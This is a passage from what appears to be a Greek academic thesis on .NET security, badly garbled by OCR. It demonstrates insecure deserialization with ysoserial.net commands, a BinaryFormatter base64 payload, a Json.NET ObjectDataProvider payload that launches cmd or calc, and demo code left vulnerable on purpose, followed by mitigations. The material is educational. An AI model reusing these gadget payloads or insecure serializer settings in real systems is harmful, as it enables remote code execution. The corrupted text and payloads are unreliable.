ETUTLOE LEVOC KATAPEPVEL VA ELOAYEL KOKOBOAO SES80UEVA OTO AVTLKELEVO TTOU Elval
serialized, ta omola evepyouvtal katd to deserialization. MpakTikd, o eMITIOEUEVOG ELlOAYEL
€va serialized object o€ kamolo onpeio L0660V TOU CUCTAKATOC IOV YLa AGYyoug
ouppartotntag n eukoAiag, emihéyel deserializer pe Baon metadata (m.x. format, encoding)
KoL To avaktilel og TOmo .NET. Av o kKAadog mou emileyel eival type-permissive (.x.
BinaryFormatter), tote punopel va evepyomolnBei gadget chain pe emumAokég TV wpa Tou
deserialization.

NpoiinoBécoeLg

e Toinsecure deserialization mpoUmoBeteL:

e Kako validation/sanitization twv dedopévwv elc6dou

e yevIKO deserialization o€ omolodnmoTe type Kol OXL 0€ KATIOLO CUYKEKPLUEVO.

e 0 86éktng (BLpa) va pmopet va kavel deserialize to json mou d€xetal. Apa o
ETUTIOEPEVOC TIPETEL £lTE VA YVWPLEL KATIOLO KAAOT TOU GTOXOU KOl VOl TNV
XPNOLLOTIOLNOEL, EITE VA XPNOLUOTIOL)OEL KAToLa arnod Ti¢ KAAoelg tou framework
(Microsoft, System)

To potifo auto sivat peaALloTIKO O€ apPXLTEKTOVIKEC TTou d€xovtal moAAarnAd formats péow
€vOG KolvoU JSON kal katomiv ekteAouv €va To deserialization. Auto petatpenel kabe public
n Stacuvdedeévo onpeio elcodou os mBavo sink.

MBava onueia elcodou:

e Endpoint

e CloudEvent listener

e Event Hub/Service Bus consumer
e webhook amo tpito cuotnua



AUO popdEg ekdNAwoNG elval KpIloLUEG:

1. Direct deserialization: to payload yivetal deserialize apéowg oto public path (apeoco
RCE pioko).

2. Second-order deserialization: to payload anoBnkevetal (r.x. otn BAaon) Kot yivetat
deserialize apydtepa amnod kamnolo worker/consumer, 6mou TEAKA EVEPYOTOLELTAL N
aAuoida.

AkohouBoUv mapadelyato TETOLWV TEPUTTWOEWV.

3.3.3.1. BinaryFormatter Deserialization

O BinaryFormatter ivat €va legacy .NET Object mou kavel serialize/deserialize £€va object og
binary format. Ze un éumiota dedopéva elc680u aUTO onuaivel otL o deserializer umopel va
gvepyormolnoet serialization hooks (m.x. constructors, [OnDeserialized],
IDeserializationCallback) kat va ekteAéoel side-effects mptv kav yivel to validation. H
HOAuvon edw elval n elcaywyn objects/kataotAcewyv MOU EAEYXEL O EMITIOEUEVOG, TOL OTIOLAL
gvepyorolouv gadget chain kata to deserialization.

O BinaryFormatter eivat éva kAaooLko mapadelypa kakou deserialization, mou oTLg véeg
ekb0oelg Tou .NET €xel katapynOel. Qotdo0, UTIAPXOUV aKOMA TIOAAEC EdapUOYEG Kal API
TIOU XPNOoLUoToloUV aALOTePEC ekdooeLg Tou .NET i yla Adyoug cuppatotntag cuveyilouv
VOl TO XPNOLUOTIOOUV.

210 mapadelypa mou akoAouBel €ywve xprion tou ysoserial.net [17]. To ysoserial.net ivat
open-source epyaleio proof-of-concept mou mapayet payloads yia tnv aloAdynon insecure
deserialization og .NET, kaBapd yla epeuvnTikoU¢ okomoU¢. Meptéxel culoyn amnod gadget
chains (property-oriented programming) Baclopéveg oe ouvnOilopéves .NET BLBALOBRKES Kot
uropet va dnuloupynoetl serialized objects ywa dtadopoug formatters (m.x. BinaryFormatter,
LosFormatter, NetDataContractSerializer, SoapFormatter, Json.NET), wote ol epeuvnTEg va
eAéyxouv av pLa epappoyn kavel deserialize pun éumnioto input pe enikivéuvo tporo.

2to mapadelypa €ywve erthoyn tou formatter kat tou gadget chain kat to ysoserial mapryaye
€va base64 string, to omoio 660nke wg eloodog oe Eva application ou xpnotuomolet
BinaryFormatter. Emtiong, n epappoyn Bupa ivat €va Console Application og €kdoon .Net
Framework 4.8, n omoia ixe akopa to BinaryFormatter (yivetal kot o€ HETEMELTA EKOOOELG
pe pla puBbuion, aAAd yla Adyoug peaAlooU Tou osvapiou emAéxBnke n €ékdoon 4.8)


https://github.com/pwntester/ysoserial

EktéAeon

H mapakdtw evtoAn yia to ysoserial Ba mapdéel éva b64 string yia BinaryFormatter kat 6a
xpnowuornouoel to TypeConfuseDelegate gadget, pe otdoxo otav yivel deserialize va avoi&et
ouTOMOTA TO cmd, TO OOl HE TN oelpd Tou Ba poptwoel tn oeAida tou https://aueb.gr

1. .\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "cmd.exe /c start
https://aueb.gr"
2.

To mapayouevo b64 eival to

Payload

1.

AAEAAAD/////AQAAAAAAAAAMAGAAAE1TeXNOZWOSIFZ1cnNpb249NCAwL jAUMCwgQ3VsdHVYZT1uZXVecmFsLCBQdWIsaWNL
ZX1Ub2t1bj1iNzdhNWM1INFE5MzR1MDg5BQEAAACEAVN5Cc3R1bS5Db2xsZWNOaWOucy5HZWS51ecmljLINvenR1ZFNIAGAXW1tT
eXNOZWeuU3RyaW5nLCBtc2NvemxpYiwgVmVyc21vbjooLjAuMCAwLCBDAWXxOdXI1PW51dXRyYWwsIFB1YmxpY@tleVRva2Vu
PWI3N2E1YzU2MTkzNGUWOD1dXQQAAAAFQ291bnQIQ29tcGFyZXIHVmMVyc21vbgVIdGVtcwADAAYIjQFTeXNOZWOuQ29sbGVj
dGlvbnMuR2VuZXJpYy5Db21wYXJIpc29uQ29tcGFyZXIgMVtbU31zdGVtLINOcmluZywgbXNjb3JIsaWISIFZ1cnNpb249NC4w
LjAUMCwgQ3VsdHVyZT1uZXVecmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM1NFE5MzR1IMDg5XVOIAGAAAATAAAATAWAAAATA
AAAIBAAAAAQDAAAAFQFTeXNOZWOUQ29sbGVjdGlvbnMuR2VUZXIpYy5Db21wYXIpc29uQ29tcGFyZXIgMVtbU31zdGVtL1NG
cmluZywgbXNjb3JsaWIsIFZ1cnNpb249NCAwL jAUMCwWgQ3VsdHVYZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM1
NjE5MzR1IMDg5XVOBAAAAC19jb21wYXIpc29uAyITeXNOZWOURGYsZWAhdGVTZXIpYWxpemFOaWOuSG9sZGVyCQUAAAARBAAA
AATAAAAGBgAAACMVYYBjbWQuZXh1IC9jIHNOYXIOIGhOdHBZz0i8vYXV1Yi5ncgYHAAAAA2NTZAQFAAAATINSc3R1bS5EZIWxX1
Z2FOZVN1cmlhbG16YXRpb25Ib2xkZXIDAAAACER1bGVNYXR1B211dGhvZDAHbWVOaGOkMQMDAZzBTeXNOZWOURGVSZWdhdGVT
ZXIpYWxpemFOaW9uSG9sZGVyKOR1bGVNnYXRIRW50cnkvU31zdGVtL1I1Zmx1Y3Rpb24uTWVtYmVySW5mb1N1cmlhbG16YXRp
b25Ib2xkZXIvU31zdGVtL1I1Zmx1Y3Rpb24uTWVEtYmVySW5mbIN1cmlhbG16YXRpb25Ib2xkZXIICAAAAAKIAAAACQOAAAAE
CAAAADBTeXNOZWOURGVsZWdhdGVTZXIpYWxpemFOaWOuSG9sZGVyKOR1bGVnYXR1RW50cnkHAAAABHRS cGUIYXNzZW1ibHkG
dGFyZ2VOEnRhcmd1dFR5cGVBc3N1bWIseQ50YXInZXRUeXB1TmFtZQptZXRob2ROYW11DWR1bGVNnYXR1IRW50cnkBAQIBAQED
MFN5c3R1bS5EZWx1Z2FOZVN1cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAASAITeXNOZWOURNVUY2AZWItT
eXNOZWouU3RyaW5nLCBtc2NvemxpYiwgVmVyc21vbjooLjAuMCAwLCBDAWxOdXI1PW51dXRy YWwsIFB1YmxpY@tleVRva2Vu
PWI3N2E1YzU2MTkzNGUWOD1dLFtTeXNOZWOuU3RyaW5nLCBtc2NvemxpYiwgVmVyc21vbjooLjAuMCAwLCBDAWxOdXI1PW51
dXRyYWwsIFB1YmxpYOtleVRva2VuPWI3N2E1YzU2MTkzNGUWOD1dLFtTeXNOZWOURG1hZ25vc3RpY3MuUHIVY2VzcywgU31lz
dGVtLCBWZXJzaW9uPTQuUMC4AwLJASTEN1IbHR1cmU9bmV1dHIhbCwgUHVibG1ljS2V5VGIrZWA9Yjc3YTVINTYXOTMOZTA40V1d
BgwWAAABLbXNjb3JsaWIsIFZ1cnNpb249NCAwL jAUMCWEQ3VsdHVYZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM1
NjE5MzRIMDg5CgYNAAAASVN5c3R1bSwgVmVyc21vbjooLjAuMCAwLCBDAWxOdXI1PW51dXRyYWwsIFB1YmxpY@tleVRva2Vu
PWI3N2E1YzU2MTkzNGUWODKGDgAAABpTeXNOZWOURG1hZ25vc3RpY3MuUHIVY2VzcwYPAAAABVNOYXJIOCRAAAAAECQAAACST
eXNOZWeuUmVmbGVjdGlvbi5NZW11ZX3IbmZvU2VyaWFsaXphdGlvbkhvbGR1cgcAAAAETmFtZQxBc3N1bWIseU5hbWUIQ2xh
c3NOYW11CVNpZ25hdHVyZQpTaWduYXR1cmUyCk11bWJ1c1R5cGUQR2VUZXIpYOFyZ3VtZW50cwEBAQEBAAMIDVNS5Cc3R1bS5U
eXB1W10JIDwAAAAKNAAAACQAAAAAGFAAAADSTeXNOZWOURG1hZ25vc3RpY3MuUHIVY2VzcyBTdGFydChTeXNOZWOuU3RyalW5n
LCBTeXNOZWOuU3RyaW5nKQYVAAAAPINS5c3R1bS5EaWFnbm9zdGljcy5Qcm9jZXNzIFNOYXIOKFN5c3R1bS5TdHIpbmcsIFNS
c3R1bS5TdHIpbmcpCAAAAAOBCEAAAAKAAAAGF gAAAAdDb21wYXI1CQWAAAAGGAAAAALITeXNOZWOUU3RyaW5nBhkAAAArSW50
MzIgQ29tcGFyZShTeXNOZWOuU3RyaW5nLCBTeXNOZWOuU3RyaW5nKQYaAAAAMINSc3R1bS5IbnQzMiBDb21wYXJ1KFN5c3R1
bS5TdHIpbmcsIFN5c3R1bS5TdHIpbmcpCAAAAAOBEAAAAAGAAAAGGWAAAHFTeXNOZWOuUQ29tcGFyaXNvbmAXW1tTeXNOZWOu
U3RyaW5nLCBtc2NvemxpYiwgVmVyc21lvbjooL jAuMCAwLCBDAWxOdXI1PW51dXRyYWws IFB1YmxpYOtleVRva2VuPWI3N2EL
YzU2MTkzNGUwOD1dXQkMAAAACgkMAAAACREAAAATFgAAAAOL

2.

miou Ba 600el w¢ elcodog otnv epapuoyn.

Kwdwkag [18]

1. private static void Main(string[] args)

2. {

3. try

4 {

5 // Payload created by ysoserial.net
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6. string base64Payload =
"AAEAAAD/////AQAAAAAAAAAMAEAAAE1TeXNOZWOSIFZ1cnNpb249NCAWL JAUMCWEQ3VsdHVYZT1uZXVOcmFsLCBQdWIsalN
LZX1Ub2t1bj1iNzdhNWM1NJjE5MzR1MDg5BQEAAACEAVNS5Cc3R1bS5Db2xsZWN@aWOucy5HZWS51ecml1jLINVvenR1ZFN1IAGAXW1t
TeXNOZWoOuU3RyaW5nLCBtc2NvemxpYiwgVmVyc21vbjeoL jAuMCAwLCBDdWxOdXI1PW51dXRyYWwsIFB1YmxpY@tleVRva2Vv
UPWI3N2E1YzU2MTkzNGUwWOD1dXQQAAAAFQ291bnQIQ29tcGFyZXIHVMVyc21vbgVIdGVtcwADAAYIjQF TeXNOZWOuQ29sbGV
jdG1vbnMuR2VUZXJIpYy5Db21wYXIpc29uQ29tcGFyZXIgMVtbU31zdGVtLINOcmluZywgbXNjb3IsaWIsIFZ1cnNpb249NC4
wLFAUMCWgQ3VsdHVYZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWMINJE5MzR1IMDg5XVOIAgAAAATAAAAIAWAAAAT
AAAAJBAAAAAQDAAAAGQFTeXNOZWOUQ29sbGVjdGlvbnMuR2VuzXIpYy5Db21wYXIpc29uQ29tcGFyZXIgMVtbU31zdGVtLIN
OcmluzZywgbXNjb3JIsaWIsIFZ1cnNpb249NCAwL JAUMCWEQ3VsdHVYZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM
INFE5MzRIMDg5XVOBAAAAC19jb21wYXIpc29uAyITeXNOZWOURGVSZWdhdGVTZXIpYWxpemFOaWOuSG9sZGVyCQUAAAARBAA
AAATAAAAGBgAAACMVYYBjbWQuZXh1IC9jIHNOYXIOIGhOdHBZz0i8vYXV1Yi5ncgYHAAAAA2NtZAQFAAAATINSC3R1bS5EZIWX
1Z2F@ZVN1cmlhbG1l6YXRpb25Ib2xkZXIDAAAACER1bGVNYXR1B211dGhvZDAHbWVOaGOkMQMDAZBTeXNOZWOURGVsZWdhdGV
TZXJIpYWxpemFOaW9uSG9sZGVYyKOR1bGVNYXR1RW50cnkvU31zdGVtL1JI1Zmx1Y3Rpb24uTWVtYmMVYySW5mbIN1cmlhbG16YXR
pb25Ib2xkZXIvU31zdGVtL131Zmx1Y3Rpb24uTWVEtYmVySW5mbIN1cmlhbGl6YXRpb25Ib2xkZXIJCAAAAAKIAAAACQOAAAA
ECAAAADBTeXNOZWOURGVsZWdhdGVTZXIpYWxpemFOaWouSG9sZGVyKOR1bGVnYXR1RW50cnkHAAAABHR5 cGUIYXNzZW1ibHk
GdGFyZ2VOEnRhcmd1dFR5cGVBCc3N1bWIseQ50YXInZXRUeXB1TmFtZQptZXRob2ROYW11DWR1bGVNnYXR1RW50cnkBAQIBAQE
DMFN5c3R1bS5EZWx1Z2F@ZVN1cmlhbG16YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAASAITeXNOZWOURNVUY2AzW1t
TeXNOZWouU3RyaW5nLCBtc2NvemxpYiwgVmVyc21vbjeoL jAuMCAwLCBDdWxOdXI1PW51dXRyYWwsIFB1YmxpY@tleVRva2Vv
UPWI3N2E1YzU2MTkzNGUWOD1dLFtTeXNOZWOuU3RyaW5nLCBtc2NvemxpYiwgVmVyc21vbjooL jAuMCAwLCBDAWxOdXI 1PW5
1dXRyYWwsIFB1YmxpYQtleVRva2VuPWI3N2E1YzU2MTkzNGUWOD1dLFtTeXNOZWOuRG1hZ25vc3RpY3MuUHIVY2VzcywgU3l
zdGVtLCBWZXJZzaW9uPTQUMC4AwWLFASIENIbHR1cmU9bmMV1dHIhbCwgUHVibG1ljS2V5VGIOrZWA9Yjc3YTVINTYXOTMOZTA40V1
dBgwAAABLbXNjb3JsaWIsIFZ1cnNpb249NCAwL JAUMCWEQ3VsdHVYZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM
1INFE5MzR1IMDg5CgYNAAAASYNS5Cc3R1bSwgVmVyc21vbjooLjAuMCAwLCBDAWXx@dXI1PW51dXRyYWwsIFB1YmxpY@tleVRva2Vv
UPWI3N2E1YzU2MTkzNGUwWODKkGDgAAABpTeXNOZWOURG1hZ25vc3RpY3MUUHIVY2VzcwYPAAAABVNOYXIOCRAAAAAECQAAACYS
TeXNOZWouUmVmbGVjdGlvbi5NZW1iZXJIJIbmZvU2VyaWFsaXphdGlvbkhvbGR1cgcAAAAETMFtZQxBc3N1bWIseU5hbWUIQ2x
hc3NOYW11CVNpZ25hdHVyZQpTaWduYXR1cmUyCk11bWI1c1R5cGUQR2VUZXIpYOFyZ3VtZW50cwEBAQEBAAMIDVNSC3R1bS5
UeXB1W10JIDwWAAAAKNAAAACQAAAAAGFAAAADSTeXNOZWOURG1hZ25vc3RpY3MuUHIVY2VzcyBTdGFydChTeXNOZWOuU3Ryal5
nLCBTeXNOZWOuU3RyaW5nKQYVAAAAPINS5c3R1bS5EaWFnbm9zdGljcy5Qcm9jZXNzIFNOYXIOKFN5c3R1bS5TdHIpbmcsIFN
5c3R1bS5TdHIpbmcpCAAAAAOBCEAAAAKAAAAGF gAAAAdDD21wYXJI1CQWAAAAGGAAAAALITeXNOZWOUU3RyaW5nBhkAAAArSIWS
OMzIgQ29tcGFyZShTeXNOZWOuU3RyaW5nLCBTeXNOZWOUuU3RyaW5nKQYaAAAAMINSc3R1bS5IbnQzMiBDb21wYXI1KFN5C3R
1bS5TdHIpbmcsIFN5c3R1bS5TdHIpbmcpCAAAAAOBEAAAAAGAAAAGGWAAAHFTeXNOZWOUQ29t cGFyaXNvbmAxW1tTeXNOZWO
uU3RyaW5nLCBtc2NvemxpYiwgVmVyc21lvbjooL jAuMCAwLCBDAWx@dXI1PW51dXRyYWws IFB1YmxpY@tleVRva2VuPWI3N2E
1YzU2MTkzNGUwWOD1dXQkMAAAACgkMAAAACRgAAAAIFgAAAAOL" ;

7.
8. // Convert the base64 string to byte array
9. byte[] binaryData = Convert.FromBase64String(base64Payload);
10.
11. // Use MemoryStream for the deserialization
12. using (MemoryStream stream = new MemoryStream(binaryData))
13. {
14. IFormatter formatter = new BinaryFormatter();
15. Console.WriteLine("BinaryFormatter Deserialization Attack Demo");
16.
17. object deserializedObject = formatter.Deserialize(stream);
18. Console.WriteLine("Deserialization completed!");
19.
20. switch (deserializedObject)
21. {
22. case TestClass ti:
23. // Code to handle A
24. break;
25.
26. case TestClass2 t2:
27. // Code to handle B
28. break;
29.
30. case TestClass3 t2:
31. // Code to handle C
32. break;
33.
34. default:
35. throw new InvalidOperationException("Unknown
type");
36. }
37. }
38.
39. Console.ReadLine();
40. }
41. catch (Exception ex)

42. {




|43. Console.WriteLine($"Error: {ex.Message}");

| 44. }

| 45.

| 46. Console.ReadlLine();
| 47. }

| 48.

2TO OUYKEKPLUEVO TIAPASELYUA, OTAV EKTEAELTAL TO

1. object deserializedObject = formatter.Deserialize(stream);
2.

eKTEAE(TAL AUTOUATA N EVIOAN TOU €ixe evowpatwOel oto payload yia va avoiel otyulaia
€va cdm Kal peta tn oeAiba tou aueb. Aev xpeldleTal va avTLOTOLXEL KoV O€ KATola custom
KAQON TOU 0TOX0U, 0AAQ O€ KATIOLA YEVIKOTEPN KAGQOHN TOU .net. AKOUA KAl va LNV IEPAOEL
amo to switch (mou Bewpntika amoteAet kamoto validation), o kpuppévog kwdikag Ba £xel
TPEEEL NON.

BinaryFormatter Deserialization Attack Demo
Deserialization completed!

Error: Unknown type

Onwg¢ dpaivetal kal otnv eKova, TAPOAO TTOU 0 PNXAVLOUOG eVTomLoe To “Unknown type” kot
Sev mpoxwpnog, to deserialization mpoAafe va npaypatonolnBel. Onote evw dev népace
amno to validation, To RCE Ba yivel kat og moAAEG tepumtTtwoelg e Oa adrosl ixvn.

3.3.3.2. NewtonSoft

To Newtonsoft.Json eivat pia aUyxpovn kat dtadedopévn BLBAL0ONKkn oto .NET yia JSON
serialization/deserialization. O kivéuvog mpokUTITEL KUpiw¢ amo AavOaopévn
napapeTponoinon tou deserialization unxaviopou. Etol o emtiBépevog Umopet va mepacel
Ta types ou B€AeL katd to deserialization kat eav avtd StaB£touv [OnDeserialized]/side-
effect setters 1} evepyomoloUv e0WTEPLIKOUG LNXOVIOUOUG, UTTOPEL va mpokU el gadget
ocuuneplpopa kat va dnuloupynBel Eva sink péoa otov kUkAo {wn¢ tou JSON deserialization.
[19]

Kupla onueia:

¢ TypeNameHandling: Emtpémnet oto JSON va €xeL To property «Stype», To onoio
SnAwvel pnta o€ mola KAAon avtlotolxel, wote o deserializer va dnuiouvpynoet
ouyKekpLUévo .NET.



e SerializationBinder: EA€yxeL nwg avtiotolyilovtal ta ovopata Tunwy amnod to JSON ot
System.Type

e ConstructorHandling: Av o deserializer pnopet va kaA€oel pn-public default
constructors.

ZTOV MOPpaKATW KWOLKA, TIoU €XEL 0TNOEL eoKeEpPEVA PE LN aodaAn TPOTo, N edapuoyn
S€xeTal €va json, To omolo £xelL pTioyTel pe To ysoserial.net [17] pe TNV EVIOAN

1. .\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe"
2.

KOLL TO OTtolo €XEL OKOTIO, OTa Yivel deserialize va avoifel éva calculator. ESw to
ObjectDataProvider gival pia yeviki kAaon tou .NET, mou umdpxeL mavta ota cUCTUATA.
Onote o emutIBEpevog dev xpelaletal va LOVTEPEL KATIOLO CUYKEKPLUEVN KAAON TNG EKAOTOTE

ebappoync.

Payload

1. {

2. '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35"',

3. 'MethodName': 'Start’,

4. 'MethodParameters':{

5. "$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089",

6. "$values':['cmd', '/c calc.exe']

7. s

8. 'ObjectInstance’:{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089"'}

9. }

le.

Onwg daivetat oto payload, £xel 600l to MethodName = Start, To omnoio Ba tpé€el to cmd
Tou €xeL oplotel oto medio MethodParameters kat Ba tpé€eL TNV evtoAn calc.exe yla va
avoifel éva calculator. To onuUavTIKOTEPO OPWC HEPOC awTOU Tou payload eival to Stype,
omnou dnAwvetal pnta OtL n KAdon mou yivetal serialize kal émetta Oa yivel deserialize givat n
ObjectDataProvider.

Kwdwag

1. internal class Program

2. {

3. private static void Main(string[] args)

4. {

5. try

6 {

7 string json = File.ReadAllText("payload.json");
8.

9. var settings = new JsonSerializerSettings

10. {

11. // Required setting for the vulnerability. Allows

incoming JSON to specify .NET types via $type




12. TypeNameHandling = TypeNameHandling.All,

13. // allows loading any type

14. SerializationBinder = new DefaultSerializationBinder(),
15. // Helps with certain gadgets

16. ConstructorHandling =
ConstructorHandling.AllowNonPublicDefaultConstructor

17. }s

18.

19. Console.WriteLine("Deserializing...");

20. object obj = JsonConvert.DeserializeObject<object>(json, settings);
21. Console.WriteLine("Done. Deserialized type: " +
(obj?.GetType().FullName ?? "<null>"));

22. Console.ReadlLine();

23.

24. catch (Exception ex)

25. {

26. Console.WriteLine($"Error: {ex.Message}");

27. }

28.

29. Console.ReadLine();

30. }

31. }

32.

ESw to Baowo onpeio gival to

1. TypeNameHandling = TypeNAmeHandling.All
2.

TIOU ETUTPETEL VA TIEPVAVE Kall va Yivovtal deserialize 0Aa ta .NET types xwpig kamolov
€\eyxo. Xwpig auto to Stype Ba ayvonBei kat 6 Oa poptwoel To gadget.

ewtonSoftInsecureDeserialization

ized type: System.Windows.Data.ObjectDataProvider

Figure 13: Newtonsoft Insecure Deserialization & Calculator




3.3.4. Opowotnteg/Aladopécg pe Prototype Pollution

3.3.4.1. Opolotnteg

H nepimtwon tou insecure deserialization gival iowg n 1o kovtvi oto prototype pollution.
Kat ot 800 texVIKEC polpalovTal Tov LNXavIopo Tou state injection péow e€wteplkou input,
miou odnyel oe avenmBuuNnTeg cuuneplPopéc. H Evvola Tou gadget chain amoteAel
XOPOKTNPLOTIKO onleio opolotnTag. Xto prototype pollution, éva key pmopet va cuvduaotel
he kamolo sink wote va ekteAéoel KwdLka Kal oto deserialization, éva kakdBoulo serialized
object umopel va evepyonotioel side-effects péow hooks 6mwc¢ [OnDeserialized] f
constructors. EmutA€ov, kat ot U0 eniBecelg unootnpilouv ektéleon oe SeUTEPO XPOVO,
onAadn ta kakoBoula Sedopéva pumopouv va anobnkeutoLyv (r.x. o€ DB ) queue) kal va
gvepyomnolnBouv apyotepa Otav KAmolo dAAo component ta kavel deserialize, avtiotowa pe
1o pollution ou pnopel va £xeL emibpaon o€ PETEMELTA XPOVO OTNV EPapUOYN.

3.3.4.2. Aladopeg

H kUpla dtadopa gival otL n ekpetalAevon péow deserialization eival povadiko yeyovog
mou AapBavel xwpa kata to deserialization Tou object. Aev aA\olwvel kaBoALKA To runtime
oUTe ennpealel peANOVTLKA instances ou dnpuiloupyouvtal kavovikad. EmumAéov, oto .NET n
eniBeon e€aptatal anod tov serializer mou Ba xpnotpomnolnOel kal pe moleg pubuioeis. MNa
napadelypa format omwg BinaryFormatter r) mapapetponoioslg 6nwg TypeNameHandling
oto Newtonsoft SnuLoupyouv TG GUVONKEG yLoL EKPETAAAEUOH. AUTO ONUALVEL OTL N
gundBeia Sev glval XapoKTNPLOTIKO TNG YAWooag, aAAG TTpoiov xpriong Un achaiwv
epyaAeiwv f pubuicewv. TéNog, to deserialization punopel va givat mio apeco. Mmopei va
obnynoeL og dpeoo RCE katd tnv ektéAeon tou payload, evw to prototype pollution cuxva
xpelaletal deutepn eunabela (m.x. DOM sink) yia va yivel mAnpecg exploit.

3.3.5. AvTlpETWroN

e Anoduyn BinaryFormatter kot legacy formatters
O BinaryFormatter kat aAAolL deprecated serializers v mpémnel va xpnotLuonolovvat
yla pn éumiota dedopéva. e MEPUTTWOELG TTOU UTIAPXEL avaykn cupBatotntag, n
XPron TOUG TIPETIEL VA YIVETAL QTTOKAELOTIKA OE QTOMOVWHEVA TteEpLBaAlovTa (..
sandboxed processes), evw EMITPEMOVTAL LOVO pNTA KaBopLopévol tumot. H
TIPOTEWVOUEVN TIPAKTIKN €lval N petdBoaon os ouyxpoveg BLBALOBRKEC OwG TO
System.Text.Json f; To Newtonsoft, oL omoleg eival oxedlaopéveg pe peyautepn
£udaon otnv aopaAsla.



e EAeyxopeva types o JSON [20]
Itnv nepintwon tou NewtonSoft, n puBuion TypeNameHandling mpémnet va
napapével otnv T None. Av anatteital lSlaitepn HETOXEIPLON, AUTO TIPETEL VA
UAOTTIOLE(TOL PE EAEYXOUEVA OXNHATA, OTIWG Evag custom discriminator ) pe xprion
whitelist. Etol anotpénetal n avBaipetn Snuoupyia objects amod kakofoulo input.

e DTOs kot pntr) xaptoypadnon
To deserialization mpénet va xpnowomnolei DTOs (Data Transfer Objects), oxedlaopéva
€181kaA yLa kaBe endpoint ) xprion. Agv MPEMEL va eMixelpeital aneuBeiag
avakataokeur) domain objects ] entities ano dedopéva mou mpoépxovtal anod
€EWTEPLKEG TINYEC.

e Meplopopog NonPublic npooBaong
Ot serializers 6gv mpémel va eMITPEMOUV TN Xprion private constructors 1 setters kata
To deserialization. AuTo PelWVEL TNV TUOAVOTNTA ETUTAOKWV.

e Validation & sanitation
OAa ta 6eSopéva TTOU TIPOEPXOVTAL OTIO EEWTEPLKEC TINYEC TIPETIEL VAL TIEPVOUV ATTO
auotnpo validation mpv xpnotponownBouv. EmumAéoy, ayvwota f mepltta nedia kahod
elval va amoppintovtal wote va neplopiletat n mbavotnta HOAUVONG HEOW
npooBeTwy properties.

e Anopovwon/Sandbox yia cupfatétnta
Otav unapxeL avaykooTLK utooThpLEn malawwv payloads, mpoteivetal n xprion
Eexwplotnc dlepyaoiag pe auoTnPEG TIOALTIKEG. To TteplBAaAlov auto Ba mpénel va
QOO EXETAL ATTOKAELOTLKA CUYKEKPLUEVOUG TUTIOUG KOLL VAL ETILKOWVWVEL E TNV KUpLAL
edpapuoyn péow achalwy TPOTWV.

e 'EAEyXOG LE SOKLUEG
H aoddAela mpeénel va evioxVETAL UE OTOXEUMEVA Unit Kal integration tests mou
nepthappavouv kakoBoula ) anpoPAenta JSSON payloads (m.x. pe emutAéov nebia,
Stype properties 1 TOPOHOPPWHUEVEC TIHEG).

e Default cupnepipopég

Z€ TEPUTTWOELG TIOU YiveTal pev EexwpLoto deserialization yla kdBe type (ry switch
case), e Ba énpene va untdpxel default cuunepidopd mouv SExetal Ta mavra.

3.3.6. Juumepaopata

To Insecure Deserialization eivatl miBavotata autd mou MapoucLAlEL TG TEPLOCOTEPEC
opolotNTEC Ue to Prototype Pollution. Elval To 1o kKovtivo mapddelypa otnv
npooBnkn/aAAayn uebodwv mou pokaAel to prototype pollution, arnd tnv aroyn tou RCE
Tou pmnopet va AdBeL xwpa. Mapolo mou ek mpwtng OPews paivetal va euBUVETAL N
eloobdo¢ kakOBouAwv dedopévwy, N MPAYUATIKA aLttia eival To Kakd otroluo tng Buuatod.



Mpémel va ylveTal AVTa cwoTo sanitization kat validation, kaBwg kat cuvexn¢ updates oTLg
teAeutaieg ekbooels Tou framework. EmutA€ov, apoAo mou MOAAEC hopEC eivarl BoAKO Kal
TILO EVUKOAO TO va yivetal €va yevikod deserialization, 6w yla mapASeLYLA OTLG TIEPUTTWOELG
nou n edappoyn Séxetal palika artnuta (Cloud events, event hub, message queues, kAn),
6¢e Ba émpere va eTAEyeTal wg Avon). Mpémnel kABe type va €xel Eexwplotd deserialization oe
DTO povtéAo e povo ta amoapaitnta nedia.



3.4. Pointers & Unsafe keyword

3.4.1. Oplopog

Ol pointers (6eikteg) kat To unsafe mAaiolo amoteAouv Evav unxaviopo tng C# mou edpeliyel
oo TO oUVNOLOUEVO HOVTEAND eKTEAEDNG KAl Slaxeiplong pviung tou .NET. Kavovika, o C#
Kwokag Tpéxel mavw oto CLR (Common Language Runtime), To omoio amnoteAel 10
Baowotepo ouotatiko Tng mAatdopuag .NET. [21], [22], [23]

To CLR eivat umevBuvo ya:
e 1N dOpTWON TwWV assemblies otn pvrAun,
e TO exception handling,
e TO garbage collection,
e TO type safety,

e KABWC KoL pLla TANBWPA LNXAVLOUWV TIOU TIpooTaTeEVOUV Tov developer and Tto va
xpelaletal va aoxoleital pe low-level Aemtouépelec.

Me amAd AoyLa, to CLR eaodpalilel 6Tl 0 managed kwdikag ekteAeital pe aodpaleta. Eva
oo To BACLKA XOPAKTNPLOTIKA TOU £lval OTL SV TUTPETEL TN Xprion pointer (dnAadn aueon
npoéoPBaon oe SleuBUVOELG UVAUNG) WOTE VA ATIOTPETETOL TO memory corruption kat GAAa
odaApata xapnAou erutédou.

Qotooo, n C# mapéxel tn Suvatotnta va apakapdOel autodg o TEPLOPLOUOG LECW TOU
unsafe keyword. Méoa o€ kwdika mou dnAwvetal wg unsafe, o TPOYPAUUATIOTAG UTTOPEL val
SnNUoLPYNOEL KaL va. XELPLOTEL pointers, va KAVEL apLOUNTIKEG TTPAEELG TTAVW TOUC, KABWCE Kot
